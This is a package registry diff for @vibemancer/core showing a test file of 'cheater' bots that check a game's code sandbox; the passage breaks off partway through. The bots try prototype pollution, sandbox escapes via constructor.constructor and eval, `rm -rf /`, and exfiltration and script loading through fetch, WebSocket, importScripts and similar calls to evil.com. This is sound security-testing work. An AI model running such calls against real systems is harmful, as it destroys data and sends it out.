@vibemancer/core 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +28 -28
- package/dist/{chunk-L7Z7OFXD.js → chunk-7VDJHO22.js} +3 -3
- package/dist/chunk-7VDJHO22.js.map +1 -0
- package/dist/index-browser.d.ts +1 -1
- package/dist/index-browser.js +1 -1
- package/dist/index.js +1 -1
- package/package.json +79 -78
- package/src/bots/berserker/01_Stormchaser.ts +457 -457
- package/src/bots/berserker/02_Stormcaller.ts +417 -417
- package/src/bots/berserker/03_Stormforger.ts +481 -481
- package/src/bots/caster/01_Flamecaller.ts +286 -286
- package/src/bots/caster/02_Pyromancer.ts +350 -350
- package/src/bots/caster/03_Infernalist.ts +492 -492
- package/src/bots/defensive/01_Turtle.ts +151 -151
- package/src/bots/defensive/02_Sentinel.ts +134 -134
- package/src/bots/defensive/03_Golem.ts +357 -357
- package/src/bots/duelist/01_Battlemage.ts +433 -433
- package/src/bots/duelist/02_Warmage.ts +438 -438
- package/src/bots/duelist/03_Archmage.ts +588 -588
- package/src/bots/homing/01_Bonemancer.ts +67 -67
- package/src/bots/homing/02_Lich.ts +356 -356
- package/src/bots/homing/03_Archlich.ts +220 -220
- package/src/bots/kiter/01_Spellspinner.ts +398 -398
- package/src/bots/kiter/02_Spellweaver.ts +378 -378
- package/src/bots/kiter/03_Spellbinder.ts +448 -448
- package/src/bots/melee/01_Shadowblade.ts +270 -270
- package/src/bots/melee/02_Nightblade.ts +437 -437
- package/src/bots/melee/03_Voidblade.ts +582 -582
- package/src/bots/sniper/01_Spellshot.ts +385 -385
- package/src/bots/sniper/02_Spelltracer.ts +441 -441
- package/src/bots/sniper/03_Spellseeker.ts +546 -546
- package/src/bots/standalone/Critter.ts +89 -89
- package/src/bots/standalone/Doombringer.ts +91 -91
- package/src/bots/standalone/Hogger.ts +228 -228
- package/src/bots/standalone/Rookie.ts +50 -50
- package/src/bots/standalone/TargetDummy.ts +21 -21
- package/src/bots/test/cheater.ts +405 -405
- package/src/bots/test/crasher.ts +81 -81
- package/src/engine/hooks-runtime.ts +394 -394
- package/src/engine/manual-match.ts +289 -289
- package/src/engine/missile-templates.ts +155 -155
- package/src/engine/physics.ts +143 -143
- package/src/engine/simulation.ts +828 -828
- package/src/engine/spells.ts +128 -128
- package/src/engine-version.ts +1 -1
- package/src/index.ts +23 -23
- package/src/rules.ts +254 -254
- package/src/types.ts +193 -193
- package/src/utils/index.ts +6 -6
- package/dist/chunk-L7Z7OFXD.js.map +0 -1
package/src/bots/test/cheater.ts
CHANGED
|
@@ -1,405 +1,405 @@
|
|
|
1
|
-
/* eslint-disable @typescript-eslint/no-unsafe-type-assertion, @typescript-eslint/no-explicit-any, @typescript-eslint/explicit-function-return-type, @typescript-eslint/no-unused-expressions */
|
|
2
|
-
/**
|
|
3
|
-
* CHEATER TEST BOTS
|
|
4
|
-
*
|
|
5
|
-
* These bots attempt various exploit techniques to test sandbox safety.
|
|
6
|
-
* They are NOT registered in ALL_BOTS — test-only.
|
|
7
|
-
*
|
|
8
|
-
* Each variant targets a different attack vector:
|
|
9
|
-
* - CheaterPrototypePollution: modifies built-in prototypes
|
|
10
|
-
* - CheaterStateCorruption: tries to mutate the game state
|
|
11
|
-
* - CheaterNodeAccess: tries to access Node.js APIs
|
|
12
|
-
* - CheaterSandboxEscape: tries to break out of the sandbox
|
|
13
|
-
* - CheaterNetworkIO: tries fetch, XMLHttpRequest, WebSocket, EventSource
|
|
14
|
-
* - CheaterScriptInjection: tries importScripts, Worker, SharedWorker, dynamic import
|
|
15
|
-
* - CheaterStorageAndComms: tries BroadcastChannel, indexedDB, caches, navigator
|
|
16
|
-
*/
|
|
17
|
-
|
|
18
|
-
import type {WizardFunction} from '../../types.js';
|
|
19
|
-
|
|
20
|
-
/**
|
|
21
|
-
* Attempts to modify built-in prototypes to sabotage the other bot.
|
|
22
|
-
* With prototype freezing enabled, these assignments should silently fail
|
|
23
|
-
* (or throw in strict mode), and the match should proceed normally.
|
|
24
|
-
*/
|
|
25
|
-
export const CheaterPrototypePollution: WizardFunction = () =>
|
|
26
|
-
{
|
|
27
|
-
try
|
|
28
|
-
{
|
|
29
|
-
// Try to sabotage Array methods used by the other bot
|
|
30
|
-
(Array.prototype as any).map = () => [];
|
|
31
|
-
(Array.prototype as any).filter = () => [];
|
|
32
|
-
(Array.prototype as any).find = () => undefined;
|
|
33
|
-
|
|
34
|
-
// Try to sabotage Object
|
|
35
|
-
(Object.prototype as any).position = {x: 0, y: 0};
|
|
36
|
-
(Object.prototype as any).health = 0;
|
|
37
|
-
|
|
38
|
-
// Try to sabotage Math functions used by combat calculations
|
|
39
|
-
(Math as any).sqrt = () => 0;
|
|
40
|
-
(Math as any).atan2 = () => 0;
|
|
41
|
-
}
|
|
42
|
-
catch
|
|
43
|
-
{
|
|
44
|
-
// Frozen prototypes will throw in strict mode — that's expected
|
|
45
|
-
}
|
|
46
|
-
|
|
47
|
-
return {move: {x: 0, y: 0}};
|
|
48
|
-
};
|
|
49
|
-
|
|
50
|
-
/**
|
|
51
|
-
* Attempts to mutate the game state object passed to it, hoping to corrupt
|
|
52
|
-
* the simulation. With proper state views (copies), mutations should have
|
|
53
|
-
* no effect on the actual simulation state.
|
|
54
|
-
*/
|
|
55
|
-
export const CheaterStateCorruption: WizardFunction = ({state}) =>
|
|
56
|
-
{
|
|
57
|
-
try
|
|
58
|
-
{
|
|
59
|
-
// Try to give ourselves infinite health
|
|
60
|
-
(state as any).health = 999999;
|
|
61
|
-
(state as any).maxHealth = 999999;
|
|
62
|
-
|
|
63
|
-
// Try to kill enemies by modifying their state
|
|
64
|
-
for (const enemy of state.enemies)
|
|
65
|
-
{
|
|
66
|
-
(enemy as any).health = 0;
|
|
67
|
-
(enemy as any).position = {x: -9999, y: -9999};
|
|
68
|
-
}
|
|
69
|
-
|
|
70
|
-
// Try to delete all enemy projectiles
|
|
71
|
-
for (const proj of state.projectiles)
|
|
72
|
-
{
|
|
73
|
-
(proj as any).damage = 0;
|
|
74
|
-
(proj as any).remainingTicks = 0;
|
|
75
|
-
}
|
|
76
|
-
|
|
77
|
-
// Try to modify the position directly
|
|
78
|
-
state.position.x = 400;
|
|
79
|
-
state.position.y = 400;
|
|
80
|
-
}
|
|
81
|
-
catch
|
|
82
|
-
{
|
|
83
|
-
// Expected if state is frozen
|
|
84
|
-
}
|
|
85
|
-
|
|
86
|
-
return {move: {x: 0, y: 0}};
|
|
87
|
-
};
|
|
88
|
-
|
|
89
|
-
/**
|
|
90
|
-
* Attempts to access Node.js APIs that should not be available in the sandbox.
|
|
91
|
-
* With esbuild platform: 'neutral', these should all be undefined or throw.
|
|
92
|
-
*/
|
|
93
|
-
export const CheaterNodeAccess: WizardFunction = () =>
|
|
94
|
-
{
|
|
95
|
-
try
|
|
96
|
-
{
|
|
97
|
-
// Try to access filesystem
|
|
98
|
-
const fs = (globalThis as any).require?.('fs');
|
|
99
|
-
fs?.writeFileSync?.('/tmp/hacked', 'pwned');
|
|
100
|
-
}
|
|
101
|
-
catch
|
|
102
|
-
{
|
|
103
|
-
/* expected */
|
|
104
|
-
}
|
|
105
|
-
|
|
106
|
-
try
|
|
107
|
-
{
|
|
108
|
-
// Try to access process
|
|
109
|
-
const proc = (globalThis as any).process;
|
|
110
|
-
proc?.exit?.(1);
|
|
111
|
-
}
|
|
112
|
-
catch
|
|
113
|
-
{
|
|
114
|
-
/* expected */
|
|
115
|
-
}
|
|
116
|
-
|
|
117
|
-
try
|
|
118
|
-
{
|
|
119
|
-
// Try to spawn child process
|
|
120
|
-
const cp = (globalThis as any).require?.('child_process');
|
|
121
|
-
cp?.execSync?.('rm -rf /');
|
|
122
|
-
}
|
|
123
|
-
catch
|
|
124
|
-
{
|
|
125
|
-
/* expected */
|
|
126
|
-
}
|
|
127
|
-
|
|
128
|
-
try
|
|
129
|
-
{
|
|
130
|
-
// Try to access network
|
|
131
|
-
const net = (globalThis as any).require?.('net');
|
|
132
|
-
net?.createConnection?.({host: 'evil.com', port: 80});
|
|
133
|
-
}
|
|
134
|
-
catch
|
|
135
|
-
{
|
|
136
|
-
/* expected */
|
|
137
|
-
}
|
|
138
|
-
|
|
139
|
-
return {move: {x: 0, y: 0}};
|
|
140
|
-
};
|
|
141
|
-
|
|
142
|
-
/**
|
|
143
|
-
* Attempts to escape the sandbox using known V8/JavaScript escape techniques.
|
|
144
|
-
* These should all fail within isolated-vm.
|
|
145
|
-
*/
|
|
146
|
-
export const CheaterSandboxEscape: WizardFunction = () =>
|
|
147
|
-
{
|
|
148
|
-
try
|
|
149
|
-
{
|
|
150
|
-
// Classic sandbox escape: constructor.constructor to get Function constructor
|
|
151
|
-
const fn = {}.constructor.constructor('return this')();
|
|
152
|
-
// If this works, fn would be the global object outside the sandbox
|
|
153
|
-
(fn as any)?.process?.exit?.(1);
|
|
154
|
-
}
|
|
155
|
-
catch
|
|
156
|
-
{
|
|
157
|
-
/* expected */
|
|
158
|
-
}
|
|
159
|
-
|
|
160
|
-
try
|
|
161
|
-
{
|
|
162
|
-
// Try to access the global scope via Function
|
|
163
|
-
const global = Function('return this')();
|
|
164
|
-
(global as any)?.process?.exit?.(1);
|
|
165
|
-
}
|
|
166
|
-
catch
|
|
167
|
-
{
|
|
168
|
-
/* expected */
|
|
169
|
-
}
|
|
170
|
-
|
|
171
|
-
try
|
|
172
|
-
{
|
|
173
|
-
// Try eval-based escape
|
|
174
|
-
const result = eval('globalThis.process');
|
|
175
|
-
(result as any)?.exit?.(1);
|
|
176
|
-
}
|
|
177
|
-
catch
|
|
178
|
-
{
|
|
179
|
-
/* expected */
|
|
180
|
-
}
|
|
181
|
-
|
|
182
|
-
try
|
|
183
|
-
{
|
|
184
|
-
// Try to access import.meta (might leak host info)
|
|
185
|
-
const meta = import.meta as any;
|
|
186
|
-
meta?.url; // Should just be undefined or sandboxed
|
|
187
|
-
}
|
|
188
|
-
catch
|
|
189
|
-
{
|
|
190
|
-
/* expected */
|
|
191
|
-
}
|
|
192
|
-
|
|
193
|
-
return {move: {x: 0, y: 0}};
|
|
194
|
-
};
|
|
195
|
-
|
|
196
|
-
// ============================================================================
|
|
197
|
-
// IO / NETWORK CHEATER BOTS
|
|
198
|
-
// ============================================================================
|
|
199
|
-
|
|
200
|
-
/**
|
|
201
|
-
* Attempts to make network requests using every browser IO API.
|
|
202
|
-
* All of these should be blocked by the IO sandbox banner.
|
|
203
|
-
* If any succeeds, it would be a security vulnerability — bot code could
|
|
204
|
-
* exfiltrate game state, load external code, or communicate with C2 servers.
|
|
205
|
-
*/
|
|
206
|
-
export const CheaterNetworkIO: WizardFunction = ({state}) =>
|
|
207
|
-
{
|
|
208
|
-
const g = globalThis as any;
|
|
209
|
-
|
|
210
|
-
// --- fetch ---
|
|
211
|
-
try
|
|
212
|
-
{
|
|
213
|
-
const result = g.fetch?.('https://evil.com/exfil?hp=' + state.health);
|
|
214
|
-
// If fetch exists and returns a promise, that's a breach
|
|
215
|
-
if (result && typeof result.then === 'function')
|
|
216
|
-
{
|
|
217
|
-
// Should never reach here
|
|
218
|
-
}
|
|
219
|
-
}
|
|
220
|
-
catch
|
|
221
|
-
{
|
|
222
|
-
/* expected */
|
|
223
|
-
}
|
|
224
|
-
|
|
225
|
-
// --- XMLHttpRequest ---
|
|
226
|
-
try
|
|
227
|
-
{
|
|
228
|
-
const xhr = g.XMLHttpRequest ? new g.XMLHttpRequest() : null;
|
|
229
|
-
xhr?.open?.('POST', 'https://evil.com/exfil');
|
|
230
|
-
xhr?.send?.(
|
|
231
|
-
JSON.stringify({health: state.health, position: state.position}),
|
|
232
|
-
);
|
|
233
|
-
}
|
|
234
|
-
catch
|
|
235
|
-
{
|
|
236
|
-
/* expected */
|
|
237
|
-
}
|
|
238
|
-
|
|
239
|
-
// --- WebSocket ---
|
|
240
|
-
try
|
|
241
|
-
{
|
|
242
|
-
const ws = g.WebSocket ? new g.WebSocket('wss://evil.com/c2') : null;
|
|
243
|
-
ws?.send?.('connected');
|
|
244
|
-
}
|
|
245
|
-
catch
|
|
246
|
-
{
|
|
247
|
-
/* expected */
|
|
248
|
-
}
|
|
249
|
-
|
|
250
|
-
// --- EventSource (Server-Sent Events) ---
|
|
251
|
-
try
|
|
252
|
-
{
|
|
253
|
-
const es = g.EventSource
|
|
254
|
-
? new g.EventSource('https://evil.com/commands')
|
|
255
|
-
: null;
|
|
256
|
-
es?.close?.();
|
|
257
|
-
}
|
|
258
|
-
catch
|
|
259
|
-
{
|
|
260
|
-
/* expected */
|
|
261
|
-
}
|
|
262
|
-
|
|
263
|
-
// --- navigator.sendBeacon ---
|
|
264
|
-
try
|
|
265
|
-
{
|
|
266
|
-
g.navigator?.sendBeacon?.('https://evil.com/beacon', 'data');
|
|
267
|
-
}
|
|
268
|
-
catch
|
|
269
|
-
{
|
|
270
|
-
/* expected */
|
|
271
|
-
}
|
|
272
|
-
|
|
273
|
-
return {move: {x: 0, y: 0}};
|
|
274
|
-
};
|
|
275
|
-
|
|
276
|
-
/**
|
|
277
|
-
* Attempts to inject external scripts or create sub-workers to bypass sandbox.
|
|
278
|
-
* importScripts can load and execute arbitrary JS from any URL.
|
|
279
|
-
* Worker/SharedWorker can spawn new contexts without IO restrictions.
|
|
280
|
-
*/
|
|
281
|
-
export const CheaterScriptInjection: WizardFunction = () =>
|
|
282
|
-
{
|
|
283
|
-
const g = globalThis as any;
|
|
284
|
-
|
|
285
|
-
// --- importScripts (Web Worker API: loads & executes external JS) ---
|
|
286
|
-
try
|
|
287
|
-
{
|
|
288
|
-
g.importScripts?.('https://cdn.evil.com/payload.js');
|
|
289
|
-
}
|
|
290
|
-
catch
|
|
291
|
-
{
|
|
292
|
-
/* expected */
|
|
293
|
-
}
|
|
294
|
-
|
|
295
|
-
// --- Worker (create sub-worker to bypass restrictions) ---
|
|
296
|
-
try
|
|
297
|
-
{
|
|
298
|
-
const w = g.Worker
|
|
299
|
-
? new g.Worker('data:text/javascript,fetch("https://evil.com")')
|
|
300
|
-
: null;
|
|
301
|
-
w?.terminate?.();
|
|
302
|
-
}
|
|
303
|
-
catch
|
|
304
|
-
{
|
|
305
|
-
/* expected */
|
|
306
|
-
}
|
|
307
|
-
|
|
308
|
-
// --- SharedWorker ---
|
|
309
|
-
try
|
|
310
|
-
{
|
|
311
|
-
const sw = g.SharedWorker
|
|
312
|
-
? new g.SharedWorker('data:text/javascript,fetch("https://evil.com")')
|
|
313
|
-
: null;
|
|
314
|
-
sw?.port?.close?.();
|
|
315
|
-
}
|
|
316
|
-
catch
|
|
317
|
-
{
|
|
318
|
-
/* expected */
|
|
319
|
-
}
|
|
320
|
-
|
|
321
|
-
// --- Reconstruct fetch via Request/Response ---
|
|
322
|
-
try
|
|
323
|
-
{
|
|
324
|
-
const req = g.Request ? new g.Request('https://evil.com/data') : null;
|
|
325
|
-
if (req)
|
|
326
|
-
{
|
|
327
|
-
// Without fetch, a Request object alone can't send anything,
|
|
328
|
-
// but verify the constructor is also blocked
|
|
329
|
-
}
|
|
330
|
-
}
|
|
331
|
-
catch
|
|
332
|
-
{
|
|
333
|
-
/* expected */
|
|
334
|
-
}
|
|
335
|
-
|
|
336
|
-
return {move: {x: 0, y: 0}};
|
|
337
|
-
};
|
|
338
|
-
|
|
339
|
-
/**
|
|
340
|
-
* Attempts to use storage and cross-context communication APIs.
|
|
341
|
-
* These could be used to persist data between matches, leak info across
|
|
342
|
-
* tabs, or coordinate with external code.
|
|
343
|
-
*/
|
|
344
|
-
export const CheaterStorageAndComms: WizardFunction = () =>
|
|
345
|
-
{
|
|
346
|
-
const g = globalThis as any;
|
|
347
|
-
|
|
348
|
-
// --- BroadcastChannel (cross-tab/worker communication) ---
|
|
349
|
-
try
|
|
350
|
-
{
|
|
351
|
-
const bc = g.BroadcastChannel
|
|
352
|
-
? new g.BroadcastChannel('exfil-channel')
|
|
353
|
-
: null;
|
|
354
|
-
bc?.postMessage?.('secret data');
|
|
355
|
-
bc?.close?.();
|
|
356
|
-
}
|
|
357
|
-
catch
|
|
358
|
-
{
|
|
359
|
-
/* expected */
|
|
360
|
-
}
|
|
361
|
-
|
|
362
|
-
// --- indexedDB (persistent storage) ---
|
|
363
|
-
try
|
|
364
|
-
{
|
|
365
|
-
const db = g.indexedDB?.open?.('exfil-db', 1);
|
|
366
|
-
if (db)
|
|
367
|
-
{
|
|
368
|
-
// If indexedDB is available, bot could store/retrieve data across matches
|
|
369
|
-
}
|
|
370
|
-
}
|
|
371
|
-
catch
|
|
372
|
-
{
|
|
373
|
-
/* expected */
|
|
374
|
-
}
|
|
375
|
-
|
|
376
|
-
// --- Cache API ---
|
|
377
|
-
try
|
|
378
|
-
{
|
|
379
|
-
const cache = g.caches?.open?.('exfil-cache');
|
|
380
|
-
if (cache && typeof cache.then === 'function')
|
|
381
|
-
{
|
|
382
|
-
// Could cache external resources for later use
|
|
383
|
-
}
|
|
384
|
-
}
|
|
385
|
-
catch
|
|
386
|
-
{
|
|
387
|
-
/* expected */
|
|
388
|
-
}
|
|
389
|
-
|
|
390
|
-
// --- navigator (various APIs) ---
|
|
391
|
-
try
|
|
392
|
-
{
|
|
393
|
-
// navigator.clipboard, navigator.geolocation, etc.
|
|
394
|
-
const nav = g.navigator;
|
|
395
|
-
nav?.clipboard?.writeText?.('stolen data');
|
|
396
|
-
nav?.geolocation?.getCurrentPosition?.(() =>
|
|
397
|
-
{});
|
|
398
|
-
}
|
|
399
|
-
catch
|
|
400
|
-
{
|
|
401
|
-
/* expected */
|
|
402
|
-
}
|
|
403
|
-
|
|
404
|
-
return {move: {x: 0, y: 0}};
|
|
405
|
-
};
|
|
1
|
+
/* eslint-disable @typescript-eslint/no-unsafe-type-assertion, @typescript-eslint/no-explicit-any, @typescript-eslint/explicit-function-return-type, @typescript-eslint/no-unused-expressions */
|
|
2
|
+
/**
|
|
3
|
+
* CHEATER TEST BOTS
|
|
4
|
+
*
|
|
5
|
+
* These bots attempt various exploit techniques to test sandbox safety.
|
|
6
|
+
* They are NOT registered in ALL_BOTS — test-only.
|
|
7
|
+
*
|
|
8
|
+
* Each variant targets a different attack vector:
|
|
9
|
+
* - CheaterPrototypePollution: modifies built-in prototypes
|
|
10
|
+
* - CheaterStateCorruption: tries to mutate the game state
|
|
11
|
+
* - CheaterNodeAccess: tries to access Node.js APIs
|
|
12
|
+
* - CheaterSandboxEscape: tries to break out of the sandbox
|
|
13
|
+
* - CheaterNetworkIO: tries fetch, XMLHttpRequest, WebSocket, EventSource
|
|
14
|
+
* - CheaterScriptInjection: tries importScripts, Worker, SharedWorker, dynamic import
|
|
15
|
+
* - CheaterStorageAndComms: tries BroadcastChannel, indexedDB, caches, navigator
|
|
16
|
+
*/
|
|
17
|
+
|
|
18
|
+
import type {WizardFunction} from '../../types.js';
|
|
19
|
+
|
|
20
|
+
/**
|
|
21
|
+
* Attempts to modify built-in prototypes to sabotage the other bot.
|
|
22
|
+
* With prototype freezing enabled, these assignments should silently fail
|
|
23
|
+
* (or throw in strict mode), and the match should proceed normally.
|
|
24
|
+
*/
|
|
25
|
+
export const CheaterPrototypePollution: WizardFunction = (_props) =>
|
|
26
|
+
{
|
|
27
|
+
try
|
|
28
|
+
{
|
|
29
|
+
// Try to sabotage Array methods used by the other bot
|
|
30
|
+
(Array.prototype as any).map = () => [];
|
|
31
|
+
(Array.prototype as any).filter = () => [];
|
|
32
|
+
(Array.prototype as any).find = () => undefined;
|
|
33
|
+
|
|
34
|
+
// Try to sabotage Object
|
|
35
|
+
(Object.prototype as any).position = {x: 0, y: 0};
|
|
36
|
+
(Object.prototype as any).health = 0;
|
|
37
|
+
|
|
38
|
+
// Try to sabotage Math functions used by combat calculations
|
|
39
|
+
(Math as any).sqrt = () => 0;
|
|
40
|
+
(Math as any).atan2 = () => 0;
|
|
41
|
+
}
|
|
42
|
+
catch
|
|
43
|
+
{
|
|
44
|
+
// Frozen prototypes will throw in strict mode — that's expected
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
return {move: {x: 0, y: 0}};
|
|
48
|
+
};
|
|
49
|
+
|
|
50
|
+
/**
|
|
51
|
+
* Attempts to mutate the game state object passed to it, hoping to corrupt
|
|
52
|
+
* the simulation. With proper state views (copies), mutations should have
|
|
53
|
+
* no effect on the actual simulation state.
|
|
54
|
+
*/
|
|
55
|
+
export const CheaterStateCorruption: WizardFunction = ({state}) =>
|
|
56
|
+
{
|
|
57
|
+
try
|
|
58
|
+
{
|
|
59
|
+
// Try to give ourselves infinite health
|
|
60
|
+
(state as any).health = 999999;
|
|
61
|
+
(state as any).maxHealth = 999999;
|
|
62
|
+
|
|
63
|
+
// Try to kill enemies by modifying their state
|
|
64
|
+
for (const enemy of state.enemies)
|
|
65
|
+
{
|
|
66
|
+
(enemy as any).health = 0;
|
|
67
|
+
(enemy as any).position = {x: -9999, y: -9999};
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
// Try to delete all enemy projectiles
|
|
71
|
+
for (const proj of state.projectiles)
|
|
72
|
+
{
|
|
73
|
+
(proj as any).damage = 0;
|
|
74
|
+
(proj as any).remainingTicks = 0;
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
// Try to modify the position directly
|
|
78
|
+
state.position.x = 400;
|
|
79
|
+
state.position.y = 400;
|
|
80
|
+
}
|
|
81
|
+
catch
|
|
82
|
+
{
|
|
83
|
+
// Expected if state is frozen
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
return {move: {x: 0, y: 0}};
|
|
87
|
+
};
|
|
88
|
+
|
|
89
|
+
/**
|
|
90
|
+
* Attempts to access Node.js APIs that should not be available in the sandbox.
|
|
91
|
+
* With esbuild platform: 'neutral', these should all be undefined or throw.
|
|
92
|
+
*/
|
|
93
|
+
export const CheaterNodeAccess: WizardFunction = (_props) =>
|
|
94
|
+
{
|
|
95
|
+
try
|
|
96
|
+
{
|
|
97
|
+
// Try to access filesystem
|
|
98
|
+
const fs = (globalThis as any).require?.('fs');
|
|
99
|
+
fs?.writeFileSync?.('/tmp/hacked', 'pwned');
|
|
100
|
+
}
|
|
101
|
+
catch
|
|
102
|
+
{
|
|
103
|
+
/* expected */
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
try
|
|
107
|
+
{
|
|
108
|
+
// Try to access process
|
|
109
|
+
const proc = (globalThis as any).process;
|
|
110
|
+
proc?.exit?.(1);
|
|
111
|
+
}
|
|
112
|
+
catch
|
|
113
|
+
{
|
|
114
|
+
/* expected */
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
try
|
|
118
|
+
{
|
|
119
|
+
// Try to spawn child process
|
|
120
|
+
const cp = (globalThis as any).require?.('child_process');
|
|
121
|
+
cp?.execSync?.('rm -rf /');
|
|
122
|
+
}
|
|
123
|
+
catch
|
|
124
|
+
{
|
|
125
|
+
/* expected */
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
try
|
|
129
|
+
{
|
|
130
|
+
// Try to access network
|
|
131
|
+
const net = (globalThis as any).require?.('net');
|
|
132
|
+
net?.createConnection?.({host: 'evil.com', port: 80});
|
|
133
|
+
}
|
|
134
|
+
catch
|
|
135
|
+
{
|
|
136
|
+
/* expected */
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
return {move: {x: 0, y: 0}};
|
|
140
|
+
};
|
|
141
|
+
|
|
142
|
+
/**
|
|
143
|
+
* Attempts to escape the sandbox using known V8/JavaScript escape techniques.
|
|
144
|
+
* These should all fail within isolated-vm.
|
|
145
|
+
*/
|
|
146
|
+
export const CheaterSandboxEscape: WizardFunction = (_props) =>
|
|
147
|
+
{
|
|
148
|
+
try
|
|
149
|
+
{
|
|
150
|
+
// Classic sandbox escape: constructor.constructor to get Function constructor
|
|
151
|
+
const fn = {}.constructor.constructor('return this')();
|
|
152
|
+
// If this works, fn would be the global object outside the sandbox
|
|
153
|
+
(fn as any)?.process?.exit?.(1);
|
|
154
|
+
}
|
|
155
|
+
catch
|
|
156
|
+
{
|
|
157
|
+
/* expected */
|
|
158
|
+
}
|
|
159
|
+
|
|
160
|
+
try
|
|
161
|
+
{
|
|
162
|
+
// Try to access the global scope via Function
|
|
163
|
+
const global = Function('return this')();
|
|
164
|
+
(global as any)?.process?.exit?.(1);
|
|
165
|
+
}
|
|
166
|
+
catch
|
|
167
|
+
{
|
|
168
|
+
/* expected */
|
|
169
|
+
}
|
|
170
|
+
|
|
171
|
+
try
|
|
172
|
+
{
|
|
173
|
+
// Try eval-based escape
|
|
174
|
+
const result = eval('globalThis.process');
|
|
175
|
+
(result as any)?.exit?.(1);
|
|
176
|
+
}
|
|
177
|
+
catch
|
|
178
|
+
{
|
|
179
|
+
/* expected */
|
|
180
|
+
}
|
|
181
|
+
|
|
182
|
+
try
|
|
183
|
+
{
|
|
184
|
+
// Try to access import.meta (might leak host info)
|
|
185
|
+
const meta = import.meta as any;
|
|
186
|
+
meta?.url; // Should just be undefined or sandboxed
|
|
187
|
+
}
|
|
188
|
+
catch
|
|
189
|
+
{
|
|
190
|
+
/* expected */
|
|
191
|
+
}
|
|
192
|
+
|
|
193
|
+
return {move: {x: 0, y: 0}};
|
|
194
|
+
};
|
|
195
|
+
|
|
196
|
+
// ============================================================================
|
|
197
|
+
// IO / NETWORK CHEATER BOTS
|
|
198
|
+
// ============================================================================
|
|
199
|
+
|
|
200
|
+
/**
|
|
201
|
+
* Attempts to make network requests using every browser IO API.
|
|
202
|
+
* All of these should be blocked by the IO sandbox banner.
|
|
203
|
+
* If any succeeds, it would be a security vulnerability — bot code could
|
|
204
|
+
* exfiltrate game state, load external code, or communicate with C2 servers.
|
|
205
|
+
*/
|
|
206
|
+
export const CheaterNetworkIO: WizardFunction = ({state}) =>
|
|
207
|
+
{
|
|
208
|
+
const g = globalThis as any;
|
|
209
|
+
|
|
210
|
+
// --- fetch ---
|
|
211
|
+
try
|
|
212
|
+
{
|
|
213
|
+
const result = g.fetch?.('https://evil.com/exfil?hp=' + state.health);
|
|
214
|
+
// If fetch exists and returns a promise, that's a breach
|
|
215
|
+
if (result && typeof result.then === 'function')
|
|
216
|
+
{
|
|
217
|
+
// Should never reach here
|
|
218
|
+
}
|
|
219
|
+
}
|
|
220
|
+
catch
|
|
221
|
+
{
|
|
222
|
+
/* expected */
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
// --- XMLHttpRequest ---
|
|
226
|
+
try
|
|
227
|
+
{
|
|
228
|
+
const xhr = g.XMLHttpRequest ? new g.XMLHttpRequest() : null;
|
|
229
|
+
xhr?.open?.('POST', 'https://evil.com/exfil');
|
|
230
|
+
xhr?.send?.(
|
|
231
|
+
JSON.stringify({health: state.health, position: state.position}),
|
|
232
|
+
);
|
|
233
|
+
}
|
|
234
|
+
catch
|
|
235
|
+
{
|
|
236
|
+
/* expected */
|
|
237
|
+
}
|
|
238
|
+
|
|
239
|
+
// --- WebSocket ---
|
|
240
|
+
try
|
|
241
|
+
{
|
|
242
|
+
const ws = g.WebSocket ? new g.WebSocket('wss://evil.com/c2') : null;
|
|
243
|
+
ws?.send?.('connected');
|
|
244
|
+
}
|
|
245
|
+
catch
|
|
246
|
+
{
|
|
247
|
+
/* expected */
|
|
248
|
+
}
|
|
249
|
+
|
|
250
|
+
// --- EventSource (Server-Sent Events) ---
|
|
251
|
+
try
|
|
252
|
+
{
|
|
253
|
+
const es = g.EventSource
|
|
254
|
+
? new g.EventSource('https://evil.com/commands')
|
|
255
|
+
: null;
|
|
256
|
+
es?.close?.();
|
|
257
|
+
}
|
|
258
|
+
catch
|
|
259
|
+
{
|
|
260
|
+
/* expected */
|
|
261
|
+
}
|
|
262
|
+
|
|
263
|
+
// --- navigator.sendBeacon ---
|
|
264
|
+
try
|
|
265
|
+
{
|
|
266
|
+
g.navigator?.sendBeacon?.('https://evil.com/beacon', 'data');
|
|
267
|
+
}
|
|
268
|
+
catch
|
|
269
|
+
{
|
|
270
|
+
/* expected */
|
|
271
|
+
}
|
|
272
|
+
|
|
273
|
+
return {move: {x: 0, y: 0}};
|
|
274
|
+
};
|
|
275
|
+
|
|
276
|
+
/**
|
|
277
|
+
* Attempts to inject external scripts or create sub-workers to bypass sandbox.
|
|
278
|
+
* importScripts can load and execute arbitrary JS from any URL.
|
|
279
|
+
* Worker/SharedWorker can spawn new contexts without IO restrictions.
|
|
280
|
+
*/
|
|
281
|
+
export const CheaterScriptInjection: WizardFunction = (_props) =>
|
|
282
|
+
{
|
|
283
|
+
const g = globalThis as any;
|
|
284
|
+
|
|
285
|
+
// --- importScripts (Web Worker API: loads & executes external JS) ---
|
|
286
|
+
try
|
|
287
|
+
{
|
|
288
|
+
g.importScripts?.('https://cdn.evil.com/payload.js');
|
|
289
|
+
}
|
|
290
|
+
catch
|
|
291
|
+
{
|
|
292
|
+
/* expected */
|
|
293
|
+
}
|
|
294
|
+
|
|
295
|
+
// --- Worker (create sub-worker to bypass restrictions) ---
|
|
296
|
+
try
|
|
297
|
+
{
|
|
298
|
+
const w = g.Worker
|
|
299
|
+
? new g.Worker('data:text/javascript,fetch("https://evil.com")')
|
|
300
|
+
: null;
|
|
301
|
+
w?.terminate?.();
|
|
302
|
+
}
|
|
303
|
+
catch
|
|
304
|
+
{
|
|
305
|
+
/* expected */
|
|
306
|
+
}
|
|
307
|
+
|
|
308
|
+
// --- SharedWorker ---
|
|
309
|
+
try
|
|
310
|
+
{
|
|
311
|
+
const sw = g.SharedWorker
|
|
312
|
+
? new g.SharedWorker('data:text/javascript,fetch("https://evil.com")')
|
|
313
|
+
: null;
|
|
314
|
+
sw?.port?.close?.();
|
|
315
|
+
}
|
|
316
|
+
catch
|
